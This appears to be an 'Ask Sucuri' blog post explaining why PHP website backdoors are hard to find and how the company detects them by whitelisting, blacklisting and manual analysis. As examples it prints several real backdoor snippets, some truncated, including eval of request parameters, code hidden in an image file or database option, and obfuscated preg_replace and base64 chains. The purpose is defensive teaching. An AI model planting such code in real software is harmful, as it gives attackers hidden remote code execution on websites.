If you have any question about malware, blacklisting, or security in general, send it to us: [email protected] and we will answer here. For all the “ask sucuri” answers, go here.
Question: What about the backdoors? Why are they so hard to find? How do you guys find them?
When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of malware, backdoors.
Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small and be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.
On most online forums, people tell you to search for “eval (base64_decode” and things like that to identify hidden backdoors, but that’s likely not to find everything (and your site will just get reinfected).
For example, on the latest oscommerce compromises, all the sites had the following code added to the application_top.php file:
if (isset($_REQUEST[\’asc\’])) eval(stripslashes($_REQUEST[\’asc\’]));
Yes, that is a backdoor. It allows the attacker to execute any type of code, add files, remove files, etc. When you are analysing thousands of lines of code, it is easy to miss it.
What about this one:
wp__theme_icon=create_function(“,file_get_contents(‘/path/wp-content/themes/themename/images/void.jpg’));$wp__theme_icon();
What you think? Yes, another backdoor, but this time the bulk of it is hidden inside an image (void.jpg). See what we mean, by being hard to detect and search for?
Fun Quiz: Find the backdoor?
Since backdoors can be in any type or shape, let’s look at some examples:
The “Filesman” backdoor, big, complex and easy to find:
$auth_pass = “63a9f0ea7bb98050796b649e85481845″;
$color = “#df5″;
$default_action = “SQL”;
$default_charset = “Windows-1251″;
$protectionoffer = “ficken”;
preg_replace(“/.*/e”,”\x65\x76\x61\x6C\.. hundreds more lines..
Another simple backdoor, executing any code from the “php” request:
eval (base64_decode($_POST[“php”]));
A WordPress-based backdoor. This time, the bad content is hidden inside the database (wp-options tables)
return @eval(get_option(\’blogopt1\’));
A messy backdoor we are seeing in the latest timthumb.php attacks. On this case, all the variables are completely random per case and per file:
>function aknhtkmml3($ur5){$dtuq=’$u’;$pnt=’e6′;$p5zy=’r’;$xcl4=’e(‘;$feuh=’od’;$qjka=’dec’;$rhi=’$u’;
$m=’as’;$xcew=’);’;$iw=’_’;$jutx=’5=b’;$fwiw=’4′;$zqi=’r’;$pwrb=’5′;
eval($rhi.$p5zy.$jutx.$m.$pnt.$fwiw.$iw.$qjka.$feuh.$xcl4.$dtuq.$zqi.$pwrb.
return $ur5;}$sk25=’M3JffC1WcjMrVi1fVHVOKDpoTSIoMGJUNzdXLVZyMytWX1R1Tig6a.
Another messy one. Do you know how the code is executed there? Preg_replace with the “e” modifier actually acts like an “eval”:
>$lllllll=’lllllllll’;
$llllll=”/^.*$/e”;
$llllllll=’ZnVuY3Rpb24gZnVu3STVFNmxObm1V. LONG LINE of code.. dXBoQmRxemtuRE1SSXJwdjUwd3NWUUhrWmV3dWFKbHUvZzVpc1JKa0M1TWF2RFVMV1cwUG1XKzJF
$lllllllll=pack(‘H*’, ‘406576616c286261736536345f6465636f646528′).’\$llllllll))’;
preg_replace($llllll, $lllllllll, $lllllll);
Searching for base64_decode? Well, what happens when the attackers do this:
<?php $XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb
=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY.
And those are just some simple examples.
So, how to find backdoors?
Finding them is very hard, but inside Sucuri we were able to come up with some techniques that work very well:
- White listing. We know how the good files look like. We have a large checksum set of all the core WordPress, Joomla, osCommerce, Wiki, etc, etc files. We also have the checksum for the most popular plugins, modules, extensions and themes. Do you know what that gives us? We know right away if any of the core files were modified (or a new one added) and we can ignore safely the good ones.
- Black listing. We also have a list with thousands of backdoors (and their variations) that we have been finding in the last few years.
- Anomaly checks. When a file is not in our white list (core files) and not in our blacklist, we do our anomaly checks, where all the functions/variables are analysed and manually inspected to see if they are a backdoor. If it is, we modify our blacklists to catch them in the future, if not, another file to our white list.
So we mix white listing + blacklisting and our own manual analysis to find all the backdoors in a site. If you are trying to clean a compromised site by your self, we recommend first overwriting all the files you can (core files, plugins, etc). Of what is left, you have to analyse manually to make sure it is clean.
What do you think? I would love to hear other ideas to identify backdoors that you guys are using.
Leave a reply
